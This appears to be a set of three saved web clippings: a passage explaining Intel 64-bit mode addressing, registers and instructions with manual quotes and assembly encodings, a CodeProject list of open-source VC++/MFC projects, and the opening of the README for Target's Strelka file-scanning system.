> Table 3-4. Effective Operand- and Address-Size Attributes in 64-Bit Mode L Flag in Code Segment Descriptor | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1  
> ---|---|---|---|---|---|---|---|---  
> REX.W Prefix | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1  
> Operand-Size Prefix 66H | N | N | Y | Y | N | N | Y | Y  
> Address-Size Prefix 67H | N | Y | N | Y | N | Y | N | Y  
> Effective Operand Size | 32 | 32 | 16 | 16 | 64 | 64 | 64 | 64  
> Effective Address Size | 64 | 32 | 64 | 32 | 64 | 32 | 64 | 32  
## Instruction Pointer

Instruction pointer size change is described in chapter 3.5.1 Instruction
Pointer in 64-Bit Mode in manual Basic Architecture:

> In 64-bit mode, the RIP register becomes the instruction pointer. This
> register holds the 64-bit offset of the next instruction to be executed.
> 64-bit mode also supports a technique called RIP-relative addressing. Using
> this technique, the effective address is determined by adding a displacement
> to the RIP of the next instruction.
The manual also mentions new addressing mode, RIP-relative addressing. It is
one most interesting features added with 64-bit mode. More about RIP-relative
addressing can be found in section 3.7.5.1 Specifying an Offset in 64-Bit Mode
v manuálu Basic Architecture:

> The offset part of a memory address in 64-bit mode can be specified directly
> as a static value or through an address computation made up of one or more
> of the following components:
>   * Displacement – 8-bit, 16-bit, or 32-bit value.
>   * Base – The value in a 32-bit \(or 64-bit if REX.W is set\) general-
> purpose register.
>   * Index – The value in a 32-bit \(or 64-bit if REX.W is set\) general-
> purpose register.
>   * Scale factor – A value of 2, 4, or 8 that is multiplied by the index
> value.
>

> The base and index value can be specified in one of sixteen available
> general-purpose registers in most cases. See Chapter 2, Instruction Format,
> in the Intel® 64 and IA-32 Architectures Software Developer's Manual, Volume
> 3A.
> The following unique combination of address components is also available.
>   * RIP + Displacement – In 64-bit mode, RIP-relative addressing uses a
> signed 32-bit displacement to calculate the effective address of the next
> instruction by sign-extend the 32-bit value and add to the 64-bit value in
> RIP.
>

Important aspect of RIP-relative addressing is, that it is not possible to use
any other register in the address, like `[RIP+EAX]` or similar. Another \(not
so obvious\) aspect of RIP-relative addressing is fact, that it is \(just like
any other addressing\) controlled by address-size override prefix `67`. With
this prefix, it is possible to address relative to `EIP`:

[code]

    67 8B 05 10 00 00 00   MOV EAX, [EIP+10h]
    
[/code]

This is not described anywhere in manuals directly, nor called EIP-relative
addressing.

## Address Calculation

As mentioned, the default address size is 64 bits. Section 3.3.7 Address
Calculations in 64-Bit Mode in manual Basic Architecture starts with
description of 64-bit instruction pointer calculations:

> In most cases, 64-bit mode uses flat address space for code, data, and
> stacks. In 64-bit mode \(if there is no address-size override\), the size of
> effective address calculations is 64 bits. An effective-address calculation
> uses a 64-bit base and index registers and sign-extend displacements to 64
> bits.
> In the flat address space of 64-bit mode, linear addresses are equal to
> effective addresses because the base address is zero. In the event that FS
> or GS segments are used with a non-zero base, this rule does not hold. In
> 64-bit mode, the effective address components are added and the effective
> address is truncated \(See for example the instruction LEA\) before adding
> the full 64-bit segment base. The base is never truncated, regardless of
> addressing mode in 64-bit mode.
> The instruction pointer is extended to 64 bits to support 64-bit code
> offsets. The 64-bit instruction pointer is called the RIP. Table 3-1 shows
> the relationship between RIP, EIP, and IP.
> Table 3-1. Instruction Pointer Sizes | Bits 63:32 | Bits 31:16 | Bits 15:0  
> ---|---|---|---  
> 16-bit instruction pointer | Not Modified | IP  
> 32-bit instruction pointer | Zero Extension | EIP  
> 64-bit instruction pointer | RIP  
This section further describes calculations of other addresses and immediates:

> Generally, displacements and immediates in 64-bit mode are not extended to
> 64 bits. They are still limited to 32 bits and sign-extended during
> effective-address calculations. In 64-bit mode, however, support is provided
> for 64-bit displacement and immediate forms of the MOV instruction.
> All 16-bit and 32-bit address calculations are zero-extended in IA-32e mode
> to form 64-bit addresses. Address calculations are first truncated to the
> effective address size of the current mode \(64-bit mode or compatibility
> mode\), as overridden by any address-size prefix. The result is then zero-
> extended to the full 64-bit address width. Because of this, 16-bit and
> 32-bit applications running in compatibility mode can access only the low 4
> GBytes of the 64-bit mode effective addresses. Likewise, a 32-bit address
> generated in 64-bit mode can access only the low 4 GBytes of the 64-bit mode
> effective addresses.
The former paragraph needs further explanation. As for address calculation,
one fact is quite obvious: the displacement size still remain 32 bits and it
is sign-extended once the address is calculated. Less obvious one is that
address consisting only of a displacement can't address a range of 80000000h
to FFFFFFFF\_7FFFFFFFh, inclusive. An exception are forms of `MOV`
instructions, whose one operand is the accumulator \(`rAX` register\) and
other is immediate memory offset \(opcodes `A0`, `A1`, `A2`, and `A3`\). In
these cases, it is possible to use full 64-bit address, what makes these
instructions kind of privileged:

[code]

    48 A1 00 00 00 00 00 00 00 80   MOV RAX, [8000000000000000]
    
[/code]

As for immediates, they still remain 32-bit. There is again one exception –
those forms of `MOV` instructions, whose destination operand is one of
general-purpose registers \(opcodes `B8` to `BF`\):

[code]

    48 BA 00 00 00 00 00 00 00 80   MOV RDX, 8000000000000000
    
[/code]

## Default 64-bit operand

Default address size is always 64 bits in 64-bit mode. However, default
operand size is 32 bits, and stack width is 64 bits. That causes another
exceptions described in section 2.2.1.7 Default 64-Bit Operand Size in manual
Instruction Set Reference, A-M:

> In 64-bit mode, two groups of instructions have a default operand size of 64
> bits \(do not need a REX prefix for this operand size\). These are:
>   * Near branches
>   * All instructions, except far branches, that implicitly reference the RSP
>

The fact that near branches are 64-bit \(operand is `RIP` register\) by
default won't suprise anyone. Much more about them can be found in section
6.3.7 Branch Functions in 64-Bit Mode v manual Basic Architecture, but there's
no need to quote it here.

The second group of instructions \(which includes `PUSH` etc.\) has much
bigger consequences for an assembly programmer. It means that instruction like
`PUSH EAX` cannot be used, only `PUSH RAX` \(or `PUSH AX` with prefix 66\).
These instruction use 64-bit operand by default, and there is no way to encode
them with 32-bit operands. More in section 6.2.5 Stack Behavior in 64-Bit Mode
in manual Basic Architecture:

> In 64-bit mode, address calculations that reference SS segments are treated
> as if the segment base is zero. Fields \(base, limit, and attribute\) in
> segment descriptor registers are ignored. SS DPL is modified such that it is
> always equal to CPL. This will be true even if it is the only field in the
> SS descriptor that is modified.
> Registers E\(SP\), E\(IP\) and E\(BP\) are promoted to 64-bits and are re-
> named RSP, RIP, and RBP respectively. Some forms of segment load
> instructions are invalid \(for example, LDS, POP ES\).
> PUSH/POP instructions increment/decrement the stack using a 64-bit width.
> When the contents of a segment register is pushed onto 64-bit stack, the
> pointer is automatically aligned to 64 bits \(as with a stack that has a
> 32-bit width\).
## General-purpose Registers

As mentioned before, these registers are extended to 64 bits and eight new
registers are added. 64-bit mode also has few surprising features, described
in 3.4.1.1 General-Purpose Registers in 64-Bit Mode in manual Basic
Architecture \(synopsis\):

> In 64-bit mode, there are 16 general purpose registers and the default
> operand size is 32 bits. However, general-purpose registers are able to work
> with either 32-bit or 64-bit operands. If a 32-bit operand size is
> specified: EAX, EBX, ECX, EDX, EDI, ESI, EBP, ESP, R8D - R15D are available.
> If a 64-bit operand size is specified: RAX, RBX, RCX, RDX, RDI, RSI, RBP,
> RSP, R8-R15 are available. R8D-R15D/R8-R15 represent eight new general-
> purpose registers. All of these registers can be accessed at the byte, word,
> dword, and qword level. REX prefixes are used to generate 64-bit operand
> sizes or to reference registers R8-R15.
> In 64-bit mode, there are limitations on accessing byte registers. An
> instruction cannot reference legacy high-bytes \(for example: AH, BH, CH,
> DH\) and one of the new byte registers at the same time \(for example: the
> low byte of the RAX register\). However, instructions may reference legacy
> low-bytes \(for example: AL, BL, CL or DL\) and new byte registers at the
> same time \(for example: the low byte of the R8 register, or RBP\). The
> architecture enforces this limitation by changing high-byte references \(AH,
> BH, CH, DH\) to low byte references \(BPL, SPL, DIL, SIL: the low 8 bits for
> RBP, RSP, RDI and RSI\) for instructions using a REX prefix.
> When in 64-bit mode, operand size determines the number of valid bits in the
> destination general-purpose register:
>   * 64-bit operands generate a 64-bit result in the destination general-
> purpose register.
>   * 32-bit operands generate a 32-bit result, zero-extended to a 64-bit
> result in the destination general-purpose register.
>   * 8-bit and 16-bit operands generate an 8-bit or 16-bit result. The upper
> 56 bits or 48 bits \(respectively\) of the destination general-purpose
> register are not be modified by the operation. If the result of an 8-bit or
> 16-bit operation is intended for 64-bit address calculation, explicitly
> sign-extend the register to the full 64-bits.
>
Table 3-2. Addressable General Purpose Registers Register Type | Without REX | With REX  
> ---|---|---  
> Byte Registers | AL, BL, CL, DL, AH, BH, CH, DH | AL, BL, CL, DL, DIL, SIL, BPL, SPL, R8L - R15L  
> Word Registers | AX, BX, CX, DX, DI, SI, BP, SP | AX, BX, CX, DX, DI, SI, BP, SP, R8W - R15W  
> Doubleword Registers | EAX, EBX, ECX, EDX, EDI, ESI, EBP, ESP | EAX, EBX, ECX, EDX, EDI, ESI, EBP, ESP, R8D - R15D  
> Quadword Registers | N.A. | RAX, RBX, RCX, RDX, RDI, RSI, RBP, RSP, R8 - R15  
Perhaps the most surprising fact is that an instruction such as `MOV EAX, EBX`
automatically zeroes upper 32 bits of `RAX` register. This doesn't happen with
instructions that only read destination registers, like `TEST EAX, EBX`. In
this case `RAX` remains unmodified. There is one exception to this rule,
`CMOVcc` instructions, for example `CMOVBE`. These instructions zero upper 32
bits even if the condition is false, when the move doesn't occur.

Another surprising fact is that it is impossible to use 8-bit registers `AH`,
`CH`, `DH`, and `BH` together with one new feature of 64-bit mode, in
instruction that requires `REX` prefix. For example, instruction `MOV AH, SIL`
cannot be encoded in 64-bit mode, because `SIL` register requires `REX` `40`
prefix. The reason for this is that any of `REX` prefixes cause remapping of
original registers `AH`, `CH`, `DH`, and `BH` to `SPL`, `BPL`, `SIL`, and
`DIL`:

[code]

    -- 88 EC   MOV AH, CH
    40 88 EC   MOV SPL, BPL
    
[/code]

## RFLAGS Register

EFLAGS Register is extended to 64-bit register RFLAGS, as described in section
3.4.3.4 RFLAGS Register in 64-Bit Mode in manual Basic Architecture:

> In 64-bit mode, EFLAGS is extended to 64 bits and called RFLAGS. The upper
> 32 bits of RFLAGS register is reserved. The lower 32 bits of RFLAGS is the
> same as EFLAGS.
## x87 FPU, MMX

Sections 8.1.1 x87 FPU in 64-Bit Mode and Compatibility Mode and 9.2.1 MMX
Technology in 64-Bit Mode and Compatibility Mode in manual Basic Architecture
just say that there are virtually no changes.

## SSE/2/3, SSSE3

Sections 10.2.1 SSE in 64-Bit Mode and Compatibility Mode, 11.2.1 SSE2 in
64-Bit Mode and Compatibility Mode, and 12.1.1 SSE3/SSSE3 in 64-Bit Mode and
Compatibility Mode in manual Basic Architecture just repeat that there are
eight new XMM registers, as mentioned above.

## New Instructions

New 64-bit mode comes with few new instructions. Most of them are just
extension to 64-bit addressing so they aren't really new. List of these
instructions can be found in section 5.10 64-BIT MODE INSTRUCTIONS v manual
Basic Architecture:

> The following instructions are introduced in 64-bit mode. This mode is a sub-mode of IA-32e mode.  CDQE | Convert doubleword to quadword  
> ---|---  
> CMPSQ | Compare string operands  
> CMPXCHG16B | Compare RDX:RAX with m128  
> LODSQ | Load qword at address \(R\)SI into RAX  
> MOVSQ | Move qword from address \(R\)SI to \(R\)DI  
> MOVZX \(64-bits\) | Move doubleword to quadword, zero-extension  
> STOSQ | Store RAX at address RDI  
> SWAPGS | Exchanges current GS base register value with value in MSR address C0000102H  
> SYSCALL | Fast call to privilege level 0 system procedures  
> SYSRET | Return from fast system call  
## Instructions Encoding

Instructions encoding is described mainly in chapter CHAPTER 2 INSTRUCTION
FORMAT in manual Instruction Set Reference, A-M. This topic falls outside of
this article and it is not covered here.

**Note.** If you are interested in similar article regarding AMD manuals, let
me know. I can think about it, if there is more interest.

* * *
## Comments

Continue to discussion board.

My contact information is here.

* * *
## Revisions

2007-10-04 | 1.0 | First public version | MazeGen  
---|---|---|---  
\(dates format correspond to ISO 8601\)

# Some of the Best Open Source Project's in VC++ & MFC - CodeProject®

**Created:**| _2/3/2012 11:11:42 AM_  
---|---  
**Updated:**| _2/3/2012 11:11:48 AM_  
**Author:**| __  
**Tags:**| _bookmark windows software_  
  

## Introduction

This article lists of some of the best Open Source projects written in
VC++/MFC.

## Background

CodeProject has the best source code repository for VC++ developers. But
another site Sourceforge.net also has some of the best quality projects
available for VC++. Here I list some of the best open source projects written
in Visual C++. These are very good references for all VC++ programmers.

## List of Best Open Source Projects Written in VC++/MFC

  1. **7-Zip \(http://sourceforge.net/projects/sevenzip/\) **:   
7-Zip is a file archiver with a high compression ratio. The program supports
7z, ZIP, CAB, RAR, ARJ, LZH, CHM, GZIP, BZIP2, Z, TAR, CPIO, RPM and DEB
formats. Compression ratio in the new 7z format is 30-50% better than ratio in
ZIP format.

  2. **eMule \(http://sourceforge.net/projects/emule/\)**:  
eMule is a filesharing client which is based on the eDonkey2000 network but
offers more features than the standard client.

  3. **eMule Plus \(http://sourceforge.net/projects/emuleplus/\) :**  
eMule Plus is an evolution of the original eMule project, created to improve
its abilities and features, in both work efficiency and user interface.

  4. **eMule Morph \(http://sourceforge.net/projects/emulemorph/\):**  
eMule Morph Mod - eMule Modding Project.

  5. **FileZilla \(http://sourceforge.net/projects/filezilla/\):**  
FileZilla is a fast FTP and SFTP client for Windows with a lot of features.
FileZilla Server is a reliable FTP server.

  6. **KeePass Password Safe\(http://sourceforge.net/projects/keepass/\):**  
KeePass Password Safe is a free, open source, light-weight and easy-to-use
password manager for Windows. You can store your passwords in a highly-
encrypted database, which is locked with one master password or key file.

  7. **K-Meleon \(http://sourceforge.net/projects/kmeleon/\):**  
K-Meleon is a fast and customizable web browser that can be used instead of
Internet Explorer on Windows. Powered by the same Gecko engine as the Firefox
and Mozilla browsers, K-Meleon provides users with a secure browsing
experience.

  8. **MiKTeX \(http://sourceforge.net/projects/miktex/\):**  
MiKTeX is an up-to-date implementation of TeX & Friends for Windows \(all
current variants\).

  9. **MyNapster\(http://sourceforge.net/projects/mynapster/\):**  
MyNapster is a Win32 client using Gnutella and IRC for chat. It is based on
Gnucleus and utilizes MFC \(works with WINE\).

  10. **Nokia Composer\(http://sourceforge.net/projects/nokiacomposer/\):**  
This is a Win32, VC++ MFC application to manage Nokia mobile phones melodies.
Includes VC++ source code and Rational Rose UML model.

  11. **Peters Backup \(http://sourceforge.net/projects/pbackup\):**  
Peters Backup is a program for backing up your important data files on to
diskette, zip drive, fixed disk or CD/RW. It uses an extremely efficient
compression algorithm. It keeps track of all versions of your files in full
and incremental backups.

  12. **Password Safe \(https://sourceforge.net/projects/passwordsafe/\):**  
Password Safe is a password database utility. Users can keep their passwords
securely encrypted on their computers. A single Safe Combination unlocks them
all.

  13. RenFile \(http://sourceforge.net/projects/renfile/\):  
Rename files and folders in bulk using this VC++ .NET program.

  14. **Shareaza \(https://sourceforge.net/projects/shareaza/\):**  
Multi-network peer-to-peer file-sharing client supporting Gnutella2,
Gnutella1, eDonkey2000/eMule and BitTorrent protocols. Using C++, MFC and ATL,
for Windows.

  15. **SunshineUN \(http://sourceforge.net/projects/sunshineun/\):**  
SunshineUN is a free Napster based file sharing program for Opennap/Slavanap
which allows you to share and download multiple files of different types for
example music, pictures and videos. It is for Windows and it is written in C++
using MFC .

  16. TortoiseCVS **\(http://sourceforge.net/projects/tortoisecvs/\):**  
TortoiseCVS is an extension for Microsoft Windows Explorer that makes using
CVS fun and easy. Features include: colored icons, tight integration with SSH,
and context-menu interactivity.

  17. **TortoiseSVN \(http://sourceforge.net/projects/tortoisesvn\):**  
TortoiseSVN is a Subversion \(SVN\) client, implemented as a Windows shell
extension. It's intuitive and easy to use, since it doesn't require the
Subversion command line client to run. Simply the coolest Interface to
\(Sub\)Version Control\!

  18. **WinDirStat: Windows Directory Statistics\(http://sourceforge.net/projects/windirstat/\):**  
WinDirStat \(WDS\) is a disk usage statistics viewer and cleanup tool for
Windows. It shows disk, file and directory sizes in a treelist as well as
graphically in a treemap, much like KDirStat or SequoiaView.

  19. **WinDjView\(http://sourceforge.net/projects/windjview\):**  
WinDjView is a fast, compact and powerful DjVu viewer for Windows with
continuous scrolling and advanced printing options, based on free DjVuLibre
library. MacDjView is a simple DjVu viewer for Mac OS X, also with continuous
scrolling.

  20. **C++ Library for Windows\(http://sourceforge.net/projects/rulib\):**  
A C++ library for the Windows platform containing classes for MIME, video
capture, socket, Windows registry, files, images, and other basic purposes.

  21. **WinMerge \(https://sourceforge.net/projects/winmerge/\):**  
WinMerge is a Win32 tool for visual difference display and merging, for both
files and directories. Unicode support. Flexible syntax coloring editor.
Windows Shell integration. Regexp filtering. Side-by-side line diff and
highlights diffs inside lines.

  22. **Disk Cleaner\(http://sourceforge.net/projects/dclean/\):**  
Disk Cleaner is a tool to quickly and easily free disk space that is used by
temporary files like the system temporary folder, the Internet Explorer Cache
and Cookies folder, and the Recycle Bin. It can be expanded with text-based
plug-ins & DLLs.

  23. **Shared IIS Server Log/Bandwidth-Analyzer \(http://sourceforge.net/projects/sharediis/\):**  
This utility is intended to be used to analyze and present a per-site \(in
case of WWW logs\), or \(in case of FTP logs\) a per-web summary of bandwidth
used, hits, and average bandwidth used.

  24. **Remote Control Center \(http://sourceforge.net/projects/remotectrlctr/\):**  
Remote Control Center is an application designed to help a system/network
administrators taking control of remote devices in the network from a single
GUI.

  25. **RevConnect - Enhanced DC++ \(http://sourceforge.net/projects/reverseconnect/\):**  
RevConnect is a file sharing program based on DC++. It is fully compatible
with the Direct Connect network and made some major features.

  26. **Show Traffic \(http://sourceforge.net/projects/showtraf\):**  
"Show Traffic" monitors network traffic on the chosen network interface and
displays it continuously. It could be used for locating suspicious network
traffic or to evaluate current utilization of the network interface.

  27. **War FTP Daemon Engine \(http://sourceforge.net/projects/wfde/\):**  
A generic C++ class library for FTP server implementations, including a full-
featured, mature FTP server.

  28. **AxCrypt - File Encryption for Windows \(http://sourceforge.net/projects/axcrypt/\):**  
AxCrypt - Personal Privacy and Security with AES-128 File Encryption and
Compression for Windows 98/ME/NT/2K/XP. Double-click to automatically decrypt
and open documents. Store strong keys on removable USB-devices.

  29. **Open Source Firewall For Windows\(http://sourceforge.net/projects/firewallpapi/\):**  
FirewallPAPI is an open source firewall for Windows 2000 and above. It is a
simple utility for filter network traffic.

  30. **MinkSonic Jukebox \(http://sourceforge.net/projects/minksonic\):**  
MFC-based front-end to Winamp that provides jukebox behavior as well as
"explorer-like" MP3 library management, a web-based network interface and MP3
frame error detection/correction.

  31. **p2pfire: super p2p driver firewall \(http://sourceforge.net/projects/p2pfire\):**  
Super P2P firewall 32/64 bits \(driver + application\).

  32. **WABAccess \(http://sourceforge.net/projects/wabaccess/\):**  
The WABAccess component gives an access to the Windows Address Book \(or WAB\)
used by Outlook Express. It's a COM/ATL component that gives an access from
Visual Basic language or Scripting language \(VBS\) to WAB.

  33. **Yet Another Fractal Explorer \(http://sourceforge.net/projects/yafe\):**  
Yet Another Fractal Explorer is an interactive fractal renderer for Windows.
It features extremely simple and intuitive user interface and is capable of
producing mathematically-sound renderings.

  34. **CDDA Ripper XP \(http://sourceforge.net/projects/cddarip\):**  
CDDA Ripper XP is an audio CD ripper program that provides support for
NT/2000/XP natively \(ASPI manager is optional\). It supports WAV-MP3-OGG-
FLAC-ACM codec encoding and can be used to rip multiple CDs. It uses newest
encoders like LAME and Ogg/Vorbis.

  35. **\[ mp3 - explorer \] \(http://sourceforge.net/projects/mp3explorer\):**  
\[ mp3 - explorer \] is a MP3 Manager providing advanced features: multi-
folders file scanning with cache - id3v1 and id3v2 tagging - Intellitag - HTML
view of the tracks displaying album cover and Lyrics.

  36. **ultraMaGE \(http://sourceforge.net/projects/ultramage\):**  
ultraMage is a powerful dual-window file manager for Windows with many useful
features like bookmarks, advanced file operations and folder synchronization.
It is still very easy to use, because the user interface is similar to that of
Windows Explorer.

  37. **WinTarBall \(http://sourceforge.net/projects/wintarball/\):**  
WinTarBall adds a control panel and an Explorer shell extension that allow
users to compress directories into _.tgz_ or _.tbz_ files simply by right-
clicking on them and choosing "compress to tarball".

  38. **XML Explorer \(http://sourceforge.net/projects/xpathexplorer/\):**  
A utility to query XML files using XPath and also extend XPath to more
documents than one. Win32 platform/MFC.

  39. **Emerge Desktop \(http://sourceforge.net/projects/emerge/\):**  
Emerge is an alternate Windows shell. Its purpose is to replace Windows
Explorer as your desktop user interface, providing similar functionality, with
the additional plugins to provide even more.

  40. **Folder Size for Windows\(http://sourceforge.net/projects/foldersize/\):**  
Folder Size for Windows adds a new column to the Windows Explorer details view
that displays the sizes of files and folders. A service scans your hard disk
in the background and caches the results. Designed for performance\!

  41. **Rename-It\! \(https://sourceforge.net/projects/renameit/\):**  
Define some filters to apply to a list of files, which can be in multiple
folders, to rename the whole list at once. It checks the file names,
integrates in the Shell \(via Explorer context menu\), supports regular
expressions, ID3 tags, and much more.

  42. **ShellWM \(http://sourceforge.net/projects/shellwm/\):**  
Windows skinning application to be used with a Win32 Shell replacement \(like
Litestep, geOshell, sharpE, etc.\) or just native Explorer.

  43. **Blackbox for Windows \(http://sourceforge.net/projects/bb4win/\):**  
Blackbox for Windows is an alternative shell for Microsoft Windows. It is
based stylistically on the Blackbox window manager for the X Window System,
however it does not use the same codebase except for the gradient rendering
code.

  44. **HideThatWindow\! \(http://sourceforge.net/projects/hidethatwindow/\):**  
HideThatWindow\! enables you to Hide or Show a window; minimize, maximize and
restore its original size \(or change the size to fit your needs\). Disable
the window's taskbar button or send it to tray. Other features are
transparency, docking and top-most.

  45. **Security& Privacy Complete 3 \(http://sourceforge.net/projects/cmia/\):**  
Security & Privacy Complete is mainly a security tool for Windows. It can
disable all services which might be a security-risk, harden registry
settings... Also included privacy features for Internet Explorer, Media
Player, and of course: Mozilla Firefox.

  46. **TaskSwitchXP \(http://sourceforge.net/projects/taskswitchxp/\):**  
TaskSwitchXP provides the same functionality as the existing application
switching mechanism in Windows XP today. In addition to displaying an icon
list, however, the application will also show a thumbnail preview of the
window that will be switched to.

  47. **Windows Process Tools \(http://sourceforge.net/projects/winpstools\):**  
Command-line utilities to find, list, and terminate running processes under
Windows, similar to the Unix ps and kill commands. Good for command-line folks
who don't like to use the Windows Task Manager.

  48. **OpenSTA \(http://sourceforge.net/projects/opensta/\):**  
Open System Testing Architecture - a distributed software testing architecture
designed around CORBA. The current toolset has the capability of performing
scripted Web \(HTTP and HTTPS\) heavy load tests with performance measurements
from Win32 platforms.

  49. **MFC MUTE \(http://sourceforge.net/projects/mfc-mute-net/\):**  
MFC MUTE is a Microsoft Windows \*ONLY\* client for the MUTE anonymous P2P
network. This application derives from the original MUTE \(mute-
net.sourceforge.net\) app supporting anonymous file sharing. The GUI is the
best/most polished Windows MUTE available.

  50. **DeepNetScanner \(http://sourceforge.net/projects/nbtenum\):**  
This is a internet security scanner which scans a specified machine or a range
of IPs for all possible information like NetBIOS enumeration, gathering
sharelist, domain, os, lan manager, remote connection, SNMP walking, ...

  51. **WinSCP \(http://sourceforge.net/projects/winscp/\):**  
WinSCP is a SFTP and SCP client for Windows using SSH. Its main function is
secure copying of files between a local and a remote computer. Beyond this
basic function, WinSCP manages some other actions with files. Plugin to FAR
manager is available too.

  52. **winfingerprint \(http://sourceforge.net/projects/winfingerprint/\):**  
Winfingerprint is a Win32 MFC VC++ .NET based security tool that is able to
Determine OS, enumerate users, groups, shares, SIDs, transports, sessions,
services, service pack and hotfix level, date and time, disks, and open TCP
and UDP ports.

  53. **Visual Component Framework \(http://vcf-online.org/\):** The Visual Component Framework is an advanced C++ application framework that makes it easy to produce powerful C++ applications. The framework is a based on a thoroughly modern C++ design and has built in support for Rapid Application Development \(RAD\). 

## Some Very Good VC++/MFC Resources Besides Codeproject.com

  1. **http://www.naughter.com/** \(VC++/MFC huge code repository\)  
**By PJ naughter** Personally my favorite besides codeproject.com. This site
contains a huge source code repository for MFC programmer. It has some of the
best addon classes written for MFC programmers. What I like most about PJ
naughter is that he keeps on improving these classes and fixes each and every
bug in the code. Some of the classes are now in their 70 to 80th version.

  2. **http://flounder.com/mvp\_tips.htm** \(VC++/MFC\)  
BY Joseph M. Newcomer  
This is very nice site containing lots and lots of VC++ tips, tricks and very
detailed essays + great code examples. Main focus is on how to write the code
in the right way.

  3. **http://www.cheztabor.com/** \(ATL/WTL\)  
By cheztabor  
This site contains very nice code examples for ATL, WTL and Shell programming.

  4. **http://www.viksoe.dk/code/** \(ATL/WTL\)  
By the author of Gmail Drive  
Although the code for GmailDrive is not provided, this site contains lots of
other code examples covering MFC, ATL, WTL and Shell programming.

  5. **http://www.codeguru.com/** \(VC++/MFC/ATL and a lot more\)  
Does not need any introduction. I think most of us already know about this
site.

  6. **http://programmerworld.net/personal/projects.htm** \(VC++/MFC \)  
This is my personal web site. It has one firewall software with source code. I
will be adding more code soon.

  7. **http://vcfaq.mvps.org/** \(VC++/MFC FAQs\)  
This is the MVP's Frequently Asked Questions Page for Microsoft Visual C++. In
here, you'll find answers to several commonly asked questions about Visual
C++, MFC and Windows development in C/C++, as well as others.

  8. **http://www.developersvoice.com/programming/article/vc-mfc** \(VC++/MFC\)  
VC++/ MFC related FAQS

  9. **http://www.functionx.com/** \(VC++/MFC \)  
A beginners site for VC++ and MFC programming. Contains some very nice
beginner articles.

  10. **http://www.softlookup.com/tutorial/vc++/index.asp **A beginners site for VC++ and MFC programming. Contains some very nice beginner articles.
  11. **http://www.mathcs.sjsu.edu/faculty/pearce/mfc/ **A very nice web site. Very well written. One of the best resources for beginner in the field of VC++/MFC. 

## Points of Interest

I have written this article to provide all VC++ developers a place where they
can find some of the best open source VC++/MFC applications. I personally find
them very useful.

Kindly help me in adding more good open source VC++/MFC projects in this list.

You can find more articles and software projects with free source code on my
web site:

  * http://programmerworld.net
  * http://developersvoice.com
  * http://faq.programmerworld.net

## History

**Version 2.1:** 2nd Sept, 2007

  1. Added two more resources for VC++ and MFC \(No. 10 and 11\)

**Version 2:** 21st June, 2007

  1. Updated the article title as some of best open source projects 
  2. Added some very good VC++/MFC resources besides Codeproject.com 

## License

This article, along with any associated source code and files, is licensed
under The Microsoft Public License \(Ms-PL\)

# Target - Strelka

**Created:**| _3/2/2019 6:20:39 PM_  
---|---  
**Updated:**| _3/2/2019 6:20:39 PM_  
**Author:**| _wishi_  
**Tags:**| _cloud computing file-integrity_  
  

  

# Strelka

Strelka is a real-time file scanning system used for threat hunting, threat
detection, and incident response. Based on the design established by Lockheed
Martin's Laika BOSS and similar projects \(see: related projects\), Strelka's
purpose is to perform file extraction and metadata collection at huge scale.

Strelka differs from its sibling projects in a few significant ways:

  * Codebase is Python 3 \(minimum supported version is 3.6\)
  * Designed for non-interactive, distributed systems \(network security monitoring sensors, live response scripts, disk/memory extraction, etc.\)
  * Supports direct and remote file requests \(Amazon S3, Google Cloud Storage, etc.\) with optional encryption and authentication
  * Uses widely supported networking, messaging, and data libraries/formats \(ZeroMQ, protocol buffers, YAML, JSON\)
  * Built-in scan result logging and log management \(compatible with Filebeat/ElasticStack, Splunk, etc.\)

<img src='' width='272' height='20' alt='Target’s CFC-Open-Source Slack
Invitation' />

  * Target's CFC Slack Room

## Table of Contents

  * FAQ
  * Installation
    * Ubuntu 18.04 LTS
    * CentOS 7
    * Docker
  * Quickstart
  * Deployment
    * Utilities
      * strelka.py
      * strelka\_dirstream.py
      * strelka\_user\_client.py
      * generate\_curve\_certificates.py
      * validate\_yara.py
    * Configuration Files
      * Strelka Configuration
        * Daemon Configuration
        * Remote Configuration
        * Scan Configuration
      * Python Logging Configuration
      * DirStream Configuration
    * Encryption and Authentication
      * CurveZMQ
      * Using Curve
    * Clusters
      * General Recommendations
      * Sizing Considerations
      * Docker Considerations
      * Management
  * Architecture
    * Overview
    * Networking
    * Messaging
    * Data
  * Design
    * Communication
      * Client-to-Broker
      * Broker-to-Worker
    * File Distribution, Scanners, Flavors, and Tastes
    * File Requests
      * Direct
      * Remote
      * `FileRequest` protobuf
  * Scanners
    * Scanner List
  * Use Cases
  * Contributing
  * Related Projects
  * Licensing

## Frequently Asked Questions

### "Who is Strelka?"

Strelka is one of the second generation Soviet space dogs to achieve orbital
spaceflight -- the name is an homage to Lockheed Martin's Laika BOSS, one of
the first public projects of this type and from which Strelka's core design is
based.

### "Why would I want a file scanning system?"

File metadata is an additional pillar of data \(alongside network, endpoint,
authentication, and cloud\) that is effective in enabling threat hunting,
threat detection, and incident response and can help event analysts and
incident responders bridge visibility gaps in their environment. This type of
system is especially useful for identifying threat actors during KC3 and KC7.
For examples of what Strelka can do, please read the use cases.

### "Should I switch from my current file scanning system to Strelka?"

It depends -- we recommend reviewing the features of each and choosing the
most appropriate tool for your needs. We believe the most significant
motivating factors for switching to Strelka are:

  * Modern codebase \(Python 3.6+\)
  * More scanners \(40+ at release\) and file types \(60+ at release\) than related projects
  * Supports direct and remote file requests
  * Built-in encryption and authentication for client connections
  * Built using libraries and formats that allow cross-platform, cross-language support

### "Are Strelka's scanners compatible with Laika BOSS, File Scanning
Framework, or Assemblyline?"

Due to differences in design, Strelka's scanners are not directly compatible
with Laika BOSS, File Scanning Framework, or Assemblyline. With some effort,
most scanners can likely be ported to the other projects.

### "Is Strelka an intrusion detection system \(IDS\)?"

Strelka shouldn't be thought of as an IDS, but it can be used for threat
detection through YARA rule matching and downstream metadata interpretation.
Strelka's design follows the philosophy established by other popular metadata
collection systems \(Bro, Sysmon, Volatility, etc.\): it extracts data and
leaves the decision-making up to the user.

### "Does it work at scale?"

Everyone has their own definition of "at scale," but we have been using
Strelka and systems like it to scan up to 100 million files each day for over
a year and have never reached a point where the system could not scale to our
needs -- as file volume and diversity increases, horizontally scaling the
system should allow you to scan any number of files.

### "Doesn't this use a lot of bandwidth?"

Yep\! Strelka isn't designed to operate in limited bandwidth environments, but
we have experimented with solutions to this and there are tricks you can use
to reduce bandwidth. These are what we've found most successful:

  * Reduce the total volume of files sent to Strelka
  * Use a tracking system to only send unique files to Strelka \(networked Redis servers are especially useful for this\)
